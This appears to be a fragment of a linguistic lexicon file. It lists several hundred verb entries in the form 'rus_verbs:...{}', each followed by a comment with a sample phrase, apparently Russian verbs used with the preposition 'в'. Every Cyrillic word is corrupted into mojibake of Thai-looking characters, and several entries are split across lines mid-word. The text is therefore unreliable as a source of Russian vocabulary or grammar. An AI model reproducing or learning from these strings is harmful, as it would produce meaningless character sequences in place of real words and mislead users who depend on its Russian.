rus_verbs:ะฟัะพะดะฐะฒะฐัััั{}, // ะฟัะพะดะฐะฒะฐัััั ะฒ ัะฟะตัะธะฐะปะธะทะธัะพะฒะฐะฝะฝะพะผ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ัะฐะทะผะตััะธัััั{}, // ัะฐะทะผะตััะธัััั ะฒ ะฐัะดะธัะพัะธะธ
rus_verbs:ะฟะพะฒะธะดะฐัั{}, // ะฟะพะฒะธะดะฐัั ะฒ ะถะธะทะฝะธ
rus_verbs:ะฝะฐััะธะณะฝััั{}, // ะฝะฐััะธะณะฝััั ะฒ ะฟัะธะณะพัะพะดะฐั
rus_verbs:ัะณััะดะธัััั{}, // ัะณััะดะธัััั ะฒ ัะตะฝััะต ะทะฐะณะพะฝะฐ
rus_verbs:ัะบัััััั{}, // ัะบัััััั ะฒ ะดะพะผะต
rus_verbs:ัะฐัะฟะปะฐะบะฐัััั{}, // ัะฐัะฟะปะฐะบะฐัััั ะฒ ััะดะต
rus_verbs:ะฟัะพะปะตะถะฐัั{}, // ะฟัะพะปะตะถะฐัั ะฒ ะบะฐะฝะฐะฒะต
rus_verbs:ะทะฐะผะตัะทะฝััั{}, // ะทะฐะผะตัะทะฝััั ะฒ ะปะตะดัะฝะพะน ะฒะพะดะต
rus_verbs:ะฟะพัะบะพะปัะทะฝััััั{}, // ะฟะพัะบะพะปัะทะฝััััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ัะฐัะบะฐัั{}, // ัะฐัะบะฐัั ะฒ ััะบะฐั
rus_verbs:ะฝะฐะฟะฐะดะฐัั{}, // ะฝะฐะฟะฐะดะฐัั ะฒ ะฒะพะปัะตัะต
rus_verbs:ะฟัะพัะผะฐััะธะฒะฐัั{}, // ะฟัะพัะผะฐััะธะฒะฐัั ะฒ ะฑัะฐัะทะตัะต
rus_verbs:ะพะฑะดัะผะฐัั{}, // ะพะฑะดัะผะฐัั ะฒ ะดะพัะพะณะต
rus_verbs:ะพะฑะฒะธะฝะธัั{}, // ะพะฑะฒะธะฝะธัั ะฒ ะธะทะผะตะฝะต
rus_verbs:ะพััะฐะฝะฐะฒะปะธะฒะฐัั{}, // ะพััะฐะฝะฐะฒะปะธะฒะฐัั ะฒ ะดะฒะตััั
rus_verbs:ัะตัััััั{}, // ัะตัััััั ะฒ ะดะพะณะฐะดะบะฐั
rus_verbs:ะฟะพะณะธะฑะฐัั{}, // ะฟะพะณะธะฑะฐัั ะฒ ะฑะพั
rus_verbs:ะพะฑะพะทะฝะฐัะฐัั{}, // ะพะฑะพะทะฝะฐัะฐัั ะฒ ัะฟะธัะบะต
rus_verbs:ะทะฐะฟัะตัะฐัั{}, // ะทะฐะฟัะตัะฐัั ะฒ ะฟะฐัะบะต
rus_verbs:ะดะพะปะตัะตัั{}, // ะดะพะปะตัะตัั ะฒ ะฒะตััะพะปััะต
rus_verbs:ัะตัะฝะธัััั{}, // ัะตัะฝะธัััั ะฒ ะบะฐะผะพัะบะต
rus_verbs:ัะผะตะฝััะฐัััั{}, // ัะผะตะฝััะฐัััั ะฒ ัะฐะทะผะตัะต
rus_verbs:ะธะทะดะฐะฒะฐัั{}, // ะธะทะดะฐะฒะฐัั ะฒ ะฝะตะฑะพะปััะพะผ ะธะทะดะฐัะตะปัััะฒะต
rus_verbs:ั
ะพัะพะฝะธัั{}, // ั
ะพัะพะฝะธัั ะฒ ะผะพัะต
rus_verbs:ะฟะตัะตะผะตะฝะธัััั{}, // ะฟะตัะตะผะตะฝะธัััั ะฒ ะปะธัะต
rus_verbs:ัััะฐะฝะพะฒะธัััั{}, // ัััะฐะฝะพะฒะธัััั ะฒ ัะตะฒะตัะฝัั
ะพะฑะปะฐัััั
rus_verbs:ะฟัะธะบะธะดัะฒะฐัั{}, // ะฟัะธะบะธะดัะฒะฐัั ะฒ ัะผะต
rus_verbs:ะทะฐัะฐะธัััั{}, // ะทะฐัะฐะธัััั ะฒ ััะฐะฒะต
rus_verbs:ัะฐะทะดะพะฑััั{}, // ัะฐะทะดะพะฑััั ะฒ ะฐะฟัะตะบะต
rus_verbs:ะฟะตัะตะฑัะพัะธัั{}, // ะฟะตัะตะฑัะพัะธัั ะฒ ัะพะฒะฐัะฝะพะผ ัะพััะฐะฒะต
rus_verbs:ะฟะพะณััะถะฐัััั{}, // ะฟะพะณััะถะฐัััั ะฒ ะฑะฐัะธัะบะฐัะต
rus_verbs:ะฟะพะถะธะฒะฐัั{}, // ะฟะพะถะธะฒะฐัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ะฟัะธะทะฝะฐะฒะฐัััั{}, // ะฟัะธะทะฝะฐะฒะฐัััั ะฒ ะปัะฑะฒะธ
rus_verbs:ะทะฐั
ะฒะฐััะฒะฐัั{}, // ะทะฐั
ะฒะฐััะฒะฐัั ะฒ ะทะดะฐะฝะธะธ
rus_verbs:ะฟะพะบะฐัะธะฒะฐัััั{}, // ะฟะพะบะฐัะธะฒะฐัััั ะฒ ะปะพะดะบะต
rus_verbs:ะบัััะธัััั{}, // ะบัััะธัััั ะฒ ะบะพะปะตัะต
rus_verbs:ะฟะพะผะตัะฐัััั{}, // ะฟะพะผะตัะฐัััั ะฒ ััะธะบะต
rus_verbs:ะฟะธัะฐัััั{}, // ะฟะธัะฐัััั ะฒ ััะพะปะพะฒะพะน
rus_verbs:ะพัะดะพั
ะฝััั{}, // ะพัะดะพั
ะฝััั ะฒ ะฟะฐะฝัะธะพะฝะฐัะต
rus_verbs:ะบะฐัะฐัััั{}, // ะบะฐัะฐัััั ะฒ ะบะพะปััะบะต
rus_verbs:ะฟะพัะฐะฑะพัะฐัั{}, // ะฟะพัะฐะฑะพัะฐัั ะฒ ัะตั
ั
rus_verbs:ะฟะพะดัะฐะทัะผะตะฒะฐัั{}, // ะฟะพะดัะฐะทัะผะตะฒะฐัั ะฒ ะทะฐะดะฐะฝะธะธ
rus_verbs:ะพะณัะฐะฑะธัั{}, // ะพะณัะฐะฑะธัั ะฒ ะฟะพะดะฒะพัะพัะฝะต
rus_verbs:ะฟัะตััะฟะตัั{}, // ะฟัะตััะฟะตัั ะฒ ะฑะธะทะฝะตัะต
rus_verbs:ะทะฐะตัะทะฐัั{}, // ะทะฐะตัะทะฐัั ะฒ ะบัะตัะปะต
rus_verbs:ัะฐะทัััะฝะธัั{}, // ัะฐะทัััะฝะธัั ะฒ ะดััะณะพะน ััะฐััะต
rus_verbs:ะฟัะพะดะฒะธะฝััััั{}, // ะฟัะพะดะฒะธะฝััััั ะฒ ะธะทััะตะฝะธะธ
rus_verbs:ะฟะพะบะพะปะตะฑะฐัััั{}, // ะฟะพะบะพะปะตะฑะฐัััั ะฒ ะฝะฐัะฐะปะต
rus_verbs:ะทะฐัะพะผะฝะตะฒะฐัััั{}, // ะทะฐัะพะผะฝะตะฒะฐัััั ะฒ ัะตััะฝะพััะธ
rus_verbs:ะฟัะธะฝะธะบะฝััั{}, // ะฟัะธะฝะธะบะฝััั ะฒ ัะผะต
rus_verbs:ัะบัะธะฒะธัั{}, // ัะบัะธะฒะธัั ะฒ ััะผะตัะบะต
rus_verbs:ัะฐััะตัั{}, // ัะฐััะตัั ะฒ ัะตะฝััะต ะพะฟัั
ะพะปะธ
rus_verbs:ะฟะตัะตะฟััะฐัั{}, // ะฟะตัะตะฟััะฐัั ะฒ ัะพะดะดะพะผะต
rus_verbs:ะฟะพัะผะตััััั{}, // ะฟะพัะผะตััััั ะฒ ะฟะตัะตััะฒะต
rus_verbs:ะพัะผะตัะฐัััั{}, // ะพัะผะตัะฐัััั ะฒ ะฟะพะปะธัะตะนัะบะพะผ ััะฐััะบะต
rus_verbs:ะฝะฐะบะพะฟะธัััั{}, // ะฝะฐะบะพะฟะธัััั ะฒ ะพัััะพะนะฝะธะบะต
rus_verbs:ัะฝะพัะธัั{}, // ัะฝะพัะธัั ะฒ ััะบะฐั
rus_verbs:ะฝะฐะฒะตัะฐัั{}, // ะฝะฐะฒะตัะฐัั ะฒ ะฑะพะปัะฝะธัะต
rus_verbs:ะพััััั{}, // ะพััััั ะฒ ะฟัะพัะพัะฝะพะน ะฒะพะดะต
rus_verbs:ะทะฐะฟะตัะตัััั{}, // ะทะฐะฟะตัะตัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะพะฑะพะณะฝะฐัั{}, // ะพะฑะพะณะฝะฐัั ะฒ ะฟะตัะฒะพะผ ะบััะณะต
rus_verbs:ัะฑะตะถะดะฐัััั{}, // ัะฑะตะถะดะฐัััั ะฒ ะฝะตะธะทะฑะตะถะฝะพััะธ
rus_verbs:ะฟะพะดะฑะธัะฐัั{}, // ะฟะพะดะฑะธัะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ัะฝะธััะพะถะฐัั{}, // ัะฝะธััะพะถะฐัั ะฒ ะฟะพะปะตัะต
rus_verbs:ะฟััะฐัััั{}, // ะฟััะฐัััั ะฒ ะฟะพะบะฐะทะฐะฝะธัั
rus_verbs:ะฟัะธัะฐะธัััั{}, // ะฟัะธัะฐะธัััั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะฟัะพะฟะปัะฒะฐัั{}, // ะฟัะพะฟะปัะฒะฐัั ะฒ ะปะพะดะบะต
rus_verbs:ะทะฐัะตััั{}, // ะทะฐัะตััั ะฒ ะพะบะพะฟะต
rus_verbs:ะฟะพะดัะตะฟะธัั{}, // ะฟะพะดัะตะฟะธัั ะฒ ะฑะฐัะต
rus_verbs:ะฝะฐััะธัะฐัั{}, // ะฝะฐััะธัะฐัั ะฒ ะดะธะบัะฐะฝัะต ะฝะตัะบะพะปัะบะพ ะพัะธะฑะพะบ
rus_verbs:ะพะฟัะฐะฒะดะฐัััั{}, // ะพะฟัะฐะฒะดะฐัััั ะฒ ััะดะต
rus_verbs:ัะพะทัะตัั{}, // ัะพะทัะตัั ะฒ ะตััะตััะฒะตะฝะฝัั
ััะปะพะฒะธัั
rus_verbs:ัะฐัะบััะฒะฐัััั{}, // ัะฐัะบััะฒะฐัััั ะฒ ะฟะพะดั
ะพะดััะธั
ััะปะพะฒะธัั
rus_verbs:ะพะถะธะดะฐัััั{}, // ะพะถะธะดะฐัััั ะฒ ะฒะตัั
ะฝะตะน ัะฐััะธ
rus_verbs:ะพะดะตะฒะฐัััั{}, // ะพะดะตะฒะฐัััั ะฒ ะดะพัะพะณะธั
ะฑััะธะบะฐั
rus_verbs:ัะฟัะตะบะฝััั{}, // ัะฟัะตะบะฝััั ะฒ ะฝะตะดะพััะฐัะบะต ะพะฟััะฐ
rus_verbs:ะณัะฐะฑะธัั{}, // ะณัะฐะฑะธัั ะฒ ะฟะพะดะฒะพัะพัะฝะต
rus_verbs:ัะถะธะฝะฐัั{}, // ัะถะธะฝะฐัั ะฒ ัะตััะพัะฐะฝะต
rus_verbs:ะณะพะฝััั{}, // ะณะพะฝััั ะฒ ะถะธะปะฐั
rus_verbs:ัะฒะตัะธัั{}, // ัะฒะตัะธัั ะฒ ะฑะตะทะพะฟะฐัะฝะพััะธ
rus_verbs:ะฟะพัะตัััััั{}, // ะฟะพัะตัััััั ะฒ ะปะตัั
rus_verbs:ัััะฐะฝะฐะฒะปะธะฒะฐัััั{}, // ัััะฐะฝะฐะฒะปะธะฒะฐัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะฟัะตะดะพััะฐะฒะปััั{}, // ะฟัะตะดะพััะฐะฒะปััั ะฒ ััะดะต
rus_verbs:ะฟัะพััะฝััััั{}, // ะฟัะพััะฝััััั ะฒ ััะตะฝะต
rus_verbs:ะดะพะฟัะฐัะธะฒะฐัั{}, // ะดะพะฟัะฐัะธะฒะฐัั ะฒ ะฑัะฝะบะตัะต
rus_verbs:ะฟัะพัะฐะฑะพัะฐัั{}, // ะฟัะพัะฐะฑะพัะฐัั ะฒ ะบะฐะฑะธะฝะตัะต
rus_verbs:ัะพััะตะดะพัะพัะธัั{}, // ัะพััะตะดะพัะพัะธัั ะฒ ัะฒะพะธั
ััะบะฐั
rus_verbs:ััะฒะตัะดะธัั{}, // ััะฒะตัะดะธัั ะฒ ะดะพะปะถะฝะพััะธ
rus_verbs:ัะพัะธะฝััั{}, // ัะพัะธะฝััั ะฒ ะดะพัะพะณะต
rus_verbs:ะฟะพะผะตัะบะฝััั{}, // ะฟะพะผะตัะบะฝััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะฟะพะบะฐะทัะฒะฐัััั{}, // ะฟะพะบะฐะทัะฒะฐัััั ะฒ ะพะบะพัะบะต
rus_verbs:ะฟะพั
ัะดะตัั{}, // ะฟะพั
ัะดะตัั ะฒ ัะฐะปะธะธ
rus_verbs:ะฟัะพะดะตะปัะฒะฐัั{}, // ะฟัะพะดะตะปัะฒะฐัั ะฒ ััะตะฝะต
rus_verbs:ะฟัะพัะปะฐะฒะธัััั{}, // ะฟัะพัะปะฐะฒะธัััั ะฒ ะธะฝัะตัะฝะตัะต
rus_verbs:ัะดะพั
ะฝััั{}, // ัะดะพั
ะฝััั ะฒ ะฝะธัะตัะต
rus_verbs:ัะฐัะบะธะฝััััั{}, // ัะฐัะบะธะฝััััั ะฒ ััะตะฟะธ
rus_verbs:ัะฐะทะฒะธัั{}, // ัะฐะทะฒะธัั ะฒ ัะตะฑะต ัะฟะพัะพะฑะฝะพััะธ
rus_verbs:ัััะฐะฒะฐัั{}, // ัััะฐะฒะฐัั ะฒ ัะตั
ั
rus_verbs:ัะบัะตะฟะธัั{}, // ัะบัะตะฟะธัั ะฒ ะทะตะผะปะต
rus_verbs:ัะธัะปะธัััั{}, // ัะธัะปะธัััั ะฒ ัะฟะธัะบะต
rus_verbs:ะพะฑัะฐะทะพะฒัะฒะฐัั{}, // ะพะฑัะฐะทะพะฒัะฒะฐัั ะฒ ัะผะตัะธ
rus_verbs:ะตะบะฝััั{}, // ะตะบะฝััั ะฒ ะณััะดะธ
rus_verbs:ะพะดะพะฑัััั{}, // ะพะดะพะฑัััั ะฒ ัะฒะพะตะน ัะตัะธ
rus_verbs:ะทะฐะฟะธัั{}, // ะทะฐะฟะธัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ะทะฐะฑััััั{}, // ะทะฐะฑััััั ะฒ ััะถะตะปะพะผ ัะฝะต
rus_verbs:ัะตัะฝะตัั{}, // ัะตัะฝะตัั ะฒ ะบะธัะปะพะน ััะตะดะต
rus_verbs:ัะฐะทะผะตัะฐัััั{}, // ัะฐะทะผะตัะฐัััั ะฒ ะณะฐัะฐะถะต
rus_verbs:ัะพะพััะดะธัั{}, // ัะพะพััะดะธัั ะฒ ะณะฐัะฐะถะต
rus_verbs:ัะฐะทะฒะธะฒะฐัั{}, // ัะฐะทะฒะธะฒะฐัั ะฒ ัะตะฑะต
rus_verbs:ะฟะฐััะธัั{}, // ะฟะฐััะธัั ะฒ ะฟะพะนะผะต
rus_verbs:ัะพัะผะธัะพะฒะฐัััั{}, // ัะพัะผะธัะพะฒะฐัััั ะฒ ะฒะตัั
ะฝะธั
ัะปะพัั
ะฐัะผะพััะตัั
rus_verbs:ะพัะปะฐะฑะฝััั{}, // ะพัะปะฐะฑะฝััั ะฒ ัะพัะปะตะฝะตะฝะธะธ
rus_verbs:ัะฐะธัั{}, // ัะฐะธัั ะฒ ัะตะฑะต
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟัะพะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟัะพะฑะตะณะฐัั ะฒ ัะฟะตัะบะต
rus_verbs:ะฟัะธะพััะฐะฝะพะฒะธัััั{}, // ะฟัะธะพััะฐะฝะพะฒะธัััั ะฒ ะบะพะฝัะต
rus_verbs:ัะพะฟัะฐัััั{}, // ัะพะฟัะฐัััั ะฒ ะณััะทะธ
rus_verbs:ะณัะพะผะธัั{}, // ะณัะพะผะธัั ะฒ ัะธะฝะฐะปะต
rus_verbs:ะทะฐะผะตะฝััั{}, // ะทะฐะผะตะฝััั ะฒ ะพัะฝะพะฒะฝะพะผ ัะพััะฐะฒะต
rus_verbs:ะฟะพะดัะตะทะถะฐัั{}, // ะฟะพะดัะตะทะถะฐัั ะฒ ะบะพะปััะบะฐั
rus_verbs:ะฒััะธัะปะธัั{}, // ะฒััะธัะปะธัั ะฒ ัะผะต
rus_verbs:ะทะฐะบะฐะทัะฒะฐัั{}, // ะทะฐะบะฐะทัะฒะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะพัััะตััะฒะธัั{}, // ะพัััะตััะฒะธัั ะฒ ัะตะฐะปัะฝัั
ััะปะพะฒะธัั
rus_verbs:ะพะฑะพัะฝะพะฒะฐัััั{}, // ะพะฑะพัะฝะพะฒะฐัััั ะฒ ะดัะฟะปะต
rus_verbs:ะฟััะฐัั{}, // ะฟััะฐัั ะฒ ะบะฐะผะตัะต
rus_verbs:ะฟะพะผะตะฝััั{}, // ะฟะพะผะตะฝััั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ัะพะฒะตััะธัััั{}, // ัะพะฒะตััะธัััั ะฒ ััะดะต
rus_verbs:ะฟัะพะปะตัะฐัั{}, // ะฟัะพะปะตัะฐัั ะฒ ะฒะตััะพะปะตัะต
rus_verbs:ัะฑััััั{}, // ัะฑััััั ะฒะพ ัะฝะต
rus_verbs:ัะฐะทะณะพะฒะพัะธัััั{}, // ัะฐะทะณะพะฒะพัะธัััั ะฒ ะพัะดะตะปะตะฝะธะธ
rus_verbs:ะฟัะตะฟะพะดะฝะตััะธ{}, // ะฟัะตะฟะพะดะฝะตััะธ ะฒ ะบัะฐัะธะฒะพะน ัะฟะฐะบะพะฒะบะต
rus_verbs:ะฝะฐะฟะตัะฐัะฐัั{}, // ะฝะฐะฟะตัะฐัะฐัั ะฒ ัะธะฟะพะณัะฐัะธะธ
rus_verbs:ะฟัะพัะฒะฐัั{}, // ะฟัะพัะฒะฐัั ะฒ ัะตะฝััะต
rus_verbs:ัะฐัะบะฐัะธะฒะฐัััั{}, // ัะฐัะบะฐัะธะฒะฐัััั ะฒ ะบัะตัะปะต
rus_verbs:ะทะฐะดะตัะถะธะฒะฐัััั{}, // ะทะฐะดะตัะถะธะฒะฐัััั ะฒ ะดะฒะตััั
rus_verbs:ัะณะพัะฐัั{}, // ัะณะพัะฐัั ะฒ ะบะฐัะต
rus_verbs:ะฟัะพัััะฟะฐัั{}, // ะฟัะพัััะฟะฐัั ะฒ ะณะปัะฑะธะฝะต
rus_verbs:ัะฐัะธัั{}, // ัะฐัะธัั ะฒ ะผะฐัะตะผะฐัะธะบะต
rus_verbs:ัะฒะตะปะธัะธะฒะฐัั{}, // ัะฒะตะปะธัะธะฒะฐัั ะฒ ะบะพะฝัะต
rus_verbs:ัะฐััะฒะตััะธ{}, // ัะฐััะฒะตััะธ ะฒ ะพัะฐะฝะถะตัะตะต
rus_verbs:ะทะฐะบะธะฟะตัั{}, // ะทะฐะบะธะฟะตัั ะฒ ะฑะฐะบะต
rus_verbs:ะฟะพะดะปะตัะตัั{}, // ะฟะพะดะปะตัะตัั ะฒ ะฒะตััะพะปะตัะต
rus_verbs:ัััััั{}, // ัััััั ะฒ ะบััะต
rus_verbs:ะฟะพะถะธัั{}, // ะฟะพะถะธัั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ะดะพะฑะธัะฐัััั{}, // ะดะพะฑะธัะฐัััั ะฒ ะฟะพะฟััะฝะพะผ ััะฐะฝัะฟะพััะต
rus_verbs:ะฟะตัะตะบัััั{}, // ะฟะตัะตะบัััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฟัะพะดะตัะถะฐัััั{}, // ะฟัะพะดะตัะถะฐัััั ะฒ ะฑะฐัะพะบะฐะผะตัะต
rus_verbs:ัะฐะทััะบะธะฒะฐัั{}, // ัะฐะทััะบะธะฒะฐัั ะฒ ัะพะปะฟะต
rus_verbs:ะพัะฒะพะฑะพะถะดะฐัั{}, // ะพัะฒะพะฑะพะถะดะฐัั ะฒ ะทะฐะปะต ััะดะฐ
rus_verbs:ะฟะพะดะผะตัะธัั{}, // ะฟะพะดะผะตัะธัั ะฒ ัะตะปะพะฒะตะบะต
rus_verbs:ะฟะตัะตะดะฒะธะณะฐัััั{}, // ะฟะตัะตะดะฒะธะณะฐัััั ะฒ ัะทะบะพะน ัะฑะบะต
rus_verbs:ะฟัะพะดัะผะฐัั{}, // ะฟัะพะดัะผะฐัั ะฒ ัะผะต
rus_verbs:ะธะทะฒะธะฒะฐัััั{}, // ะธะทะฒะธะฒะฐัััั ะฒ ััะฐะฒะต
rus_verbs:ะฟัะพัะธัะธัะพะฒะฐัั{}, // ะฟัะพัะธัะธัะพะฒะฐัั ะฒ ััะฐััะต
rus_verbs:ะฟัะพะณัะปะธะฒะฐัััั{}, // ะฟัะพะณัะปะธะฒะฐัััั ะฒ ะฟะฐัะบะต
rus_verbs:ะทะฐัะตะผะธัั{}, // ะทะฐัะตะผะธัั ะฒ ะดะฒะตัะธ
rus_verbs:ัะฒะตะปะธัะธัััั{}, // ัะฒะตะปะธัะธัััั ะฒ ะพะฑัะตะผะต
rus_verbs:ะฟัะพัะฒะธัััั{}, // ะฟัะพัะฒะธัััั ะฒ ัะตะทัะปััะฐัะฐั
rus_verbs:ะทะฐัะบะพะปัะทะธัั{}, // ะทะฐัะบะพะปัะทะธัั ะฒ ะฑะพัะธะฝะบะฐั
rus_verbs:ะฟะตัะตัะบะฐะทะฐัั{}, // ะฟะตัะตัะบะฐะทะฐัั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะฟัะพัะตััะพะฒะฐัั{}, // ะฟัะพัะตััะพะฒะฐัั ะฒ ะทะดะฐะฝะธะธ ะฟะฐัะปะฐะผะตะฝัะฐ
rus_verbs:ัะบะฐะทัะฒะฐัััั{}, // ัะบะฐะทัะฒะฐัััั ะฒ ะฟััะตะฒะพะดะธัะตะปะต
rus_verbs:ะบะพะฟะพัะธัััั{}, // ะบะพะฟะพัะธัััั ะฒ ะฟะตัะบะต
rus_verbs:ะฟัะพะธะณะฝะพัะธัะพะฒะฐัั{}, // ะฟัะพะธะณะฝะพัะธัะพะฒะฐัั ะฒ ัะฒะพะตะน ัะฐะฑะพัะต
rus_verbs:ะบัะฟะฐัััั{}, // ะบัะฟะฐัััั ะฒ ัะตัะบะต
rus_verbs:ะฟะพะดััะธัะฐัั{}, // ะฟะพะดััะธัะฐัั ะฒ ัะผะต
rus_verbs:ัะฐะทะฒะพะปะฝะพะฒะฐัััั{}, // ัะฐะทะฒะพะปะฝะพะฒะฐัััั ะฒ ะบะปะฐััะต
rus_verbs:ะฟัะธะดัะผัะฒะฐัั{}, // ะฟัะธะดัะผัะฒะฐัั ะฒ ัะฒะพะตะผ ะฒะพะพะฑัะฐะถะตะฝะธะธ
rus_verbs:ะฟัะตะดััะผะพััะตัั{}, // ะฟัะตะดััะผะพััะตัั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะทะฐะฒะตััะตัััั{}, // ะทะฐะฒะตััะตัััั ะฒ ะบะพะปะตัะต
rus_verbs:ะทะฐัะตัะฟะฝััั{}, // ะทะฐัะตัะฟะฝััั ะฒ ััััะต
rus_verbs:ะพัะธััะธัั{}, // ะพัะธััะธัั ะฒ ั
ะธะผะธัะตัะบะพะน ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะฟัะพะทะฒะตะฝะตัั{}, // ะฟัะพะทะฒะตะฝะตัั ะฒ ะบะพัะธะดะพัะฐั
rus_verbs:ัะผะตะฝััะธัััั{}, // ัะผะตะฝััะธัััั ะฒ ัะฐะทะผะตัะต
rus_verbs:ะบะพะปัั
ะฐัััั{}, // ะบะพะปัั
ะฐัััั ะฒ ะฟัะพัะพัะฝะพะน ะฒะพะดะต
rus_verbs:ะพะทะฝะฐะบะพะผะธัััั{}, // ะพะทะฝะฐะบะพะผะธัััั ะฒ ะฐะฒัะพะฑััะต
rus_verbs:ัะถะฐัั{}, // ัะถะฐัั ะฒ ะฐัะดะธัะพัะธะธ
rus_verbs:ัะฐัะบะธะฝััั{}, // ัะฐัะบะธะฝััั ะฒ ะผะธะบัะพัะฐะนะพะฝะต
rus_verbs:ัะฐะทะปะธัััั{}, // ัะฐะทะปะธัััั ะฒ ะฒะพะดะต
rus_verbs:ัะบะฒะพะทะธัั{}, // ัะบะฒะพะทะธัั ะฒ ัะปะพะฒะฐั
rus_verbs:ะทะฐะดััะธัั{}, // ะทะฐะดััะธัั ะฒ ะพะฑัััะธัั
rus_verbs:ะพััะดะธัั{}, // ะพััะดะธัั ะฒ ะพัะพะฑะพะผ ะฟะพััะดะบะต
rus_verbs:ัะฐะทะณัะพะผะธัั{}, // ัะฐะทะณัะพะผะธัั ะฒ ัะตััะฝะพะผ ะฟะพะตะดะธะฝะบะต
rus_verbs:ะฟะพะดัะปััะฐัั{}, // ะฟะพะดัะปััะฐัั ะฒ ะบัะปัะฐัะฐั
rus_verbs:ะฟัะพะฟะพะฒะตะดะพะฒะฐัั{}, // ะฟัะพะฟะพะฒะตะดะพะฒะฐัั ะฒ ัะตะปััะบะธั
ัะฐะนะพะฝะฐั
rus_verbs:ะพะทะฐัะธัั{}, // ะพะทะฐัะธัั ะฒะพ ัะฝะต
rus_verbs:ะฟะพัะธัะฐัั{}, // ะฟะพัะธัะฐัั ะฒ ะฟัะตะดะฒะบััะตะฝะธะธ
rus_verbs:ะพะฟะธััะฒะฐัััั{}, // ะพะฟะธััะฒะฐัััั ะฒ ััะฐััะต
rus_verbs:ะบะฐัะฐัััั{}, // ะบะฐัะฐัััั ะฒ ะบัะพะฒะฐัะบะต
rus_verbs:ััะธะปะธัั{}, // ััะธะปะธัั ะฒ ัะตะฝััะต
rus_verbs:ะฟัะพั
ะฐะถะธะฒะฐัััั{}, // ะฟัะพั
ะฐะถะธะฒะฐัััั ะฒ ะฝะพะฒะพะผ ะบะพัััะผะต
rus_verbs:ะฟะพะปะตัะธัั{}, // ะฟะพะปะตัะธัั ะฒ ะฑะพะปัะฝะธัะบะต
rus_verbs:ัะฝะธะผะฐัััั{}, // ัะฝะธะผะฐัััั ะฒ ัะธะผะตะนะบะต
rus_verbs:ัััะบะฐัั{}, // ัััะบะฐัั ะฒ ะฝะฐัะธั
ะบัะฐัั
rus_verbs:ะฟะพะฟัะธะฒะตัััะฒะพะฒะฐัั{}, // ะฟะพะฟัะธะฒะตัััะฒะพะฒะฐัั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฟะพะดัะฒะตัะดะธัััั{}, // ะฟะพะดัะฒะตัะดะธัััั ะฒ ัะบัะฟะตัะธะผะตะฝัะต
rus_verbs:ะฟะปะตัะบะฐัััั{}, // ะฟะปะตัะบะฐัััั ะฒ ัะตะฟะปะพะน ะฒะพะดะธัะบะต
rus_verbs:ัะฐััะธัััััั{}, // ัะฐััะธัััััั ะฒ ะฟะตัะฒะพะผ ัะตะณะผะตะฝัะต
rus_verbs:ะผะตัะตัะธัััั{}, // ะผะตัะตัะธัััั ะฒ ััะผะฐะฝะต
rus_verbs:ัะณััะฐัััั{}, // ัะณััะฐัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ั
ัะฐะฟะตัั{}, // ั
ัะฐะฟะตัั ะฒะพ ัะฝะต
rus_verbs:ะฟะพะดะตัะถะฐัั{}, // ะฟะพะดะตัะถะฐัั ะฒ ััะบะฐั
rus_verbs:ะฝะฐะบะธะฝััััั{}, // ะฝะฐะบะธะฝััััั ะฒ ะฟะพะดะฒะพัะพัะฝะต
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัััั{}, // ะฟะปะฐะฝะธัะพะฒะฐัััั ะฒ ะทะฐะบัััะพะผ ัะตะถะธะผะต
rus_verbs:ะฟัะพะฑัะดะธัั{}, // ะฟัะพะฑัะดะธัั ะฒ ัะตะฑะต
rus_verbs:ะฟะพะฑัะธัััั{}, // ะฟะพะฑัะธัััั ะฒ ะฒะฐะฝะฝะพะน
rus_verbs:ัะณะธะฝััั{}, // ัะณะธะฝััั ะฒ ะฟััะธะฝะต
rus_verbs:ะพะบัะตััะธัั{}, // ะพะบัะตััะธัั ะฒ ัะตัะบะฒะธ
ะธะฝัะธะฝะธัะธะฒ:ัะตะทัะผะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะตะทัะผะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะตะทัะผะธัะพะฒะฐัั ะฒ ะบะพะฝัะต ะฒััััะฟะปะตะฝะธั
rus_verbs:ะทะฐะผะบะฝััััั{}, // ะทะฐะผะบะฝััััั ะฒ ัะตะฑะต
rus_verbs:ะฟัะธะฑะฐะฒะปััั{}, // ะฟัะธะฑะฐะฒะปััั ะฒ ะฒะตัะต
rus_verbs:ะฟัะพะฟะปััั{}, // ะฟัะพะฟะปััั ะฒ ะปะพะดะบะต
rus_verbs:ัะฐััะฒะพัััััั{}, // ัะฐััะฒะพัััััั ะฒ ััะผะฐะฝะต
rus_verbs:ัะฟัะตะบะฐัั{}, // ัะฟัะตะบะฐัั ะฒ ะฝะตะฑัะตะถะฝะพััะธ
rus_verbs:ะทะฐัะตัััััั{}, // ะทะฐัะตัััััั ะฒ ะปะฐะฑะธัะธะฝัะต
rus_verbs:ะฟะตัะตัะธััะฒะฐัั{}, // ะฟะตัะตัะธััะฒะฐัั ะฒ ะฟะพะตะทะดะต
rus_verbs:ะฟะตัะตะปะตัะตัั{}, // ะฟะตัะตะปะตัะตัั ะฒ ะฒะตััะพะปะตัะต
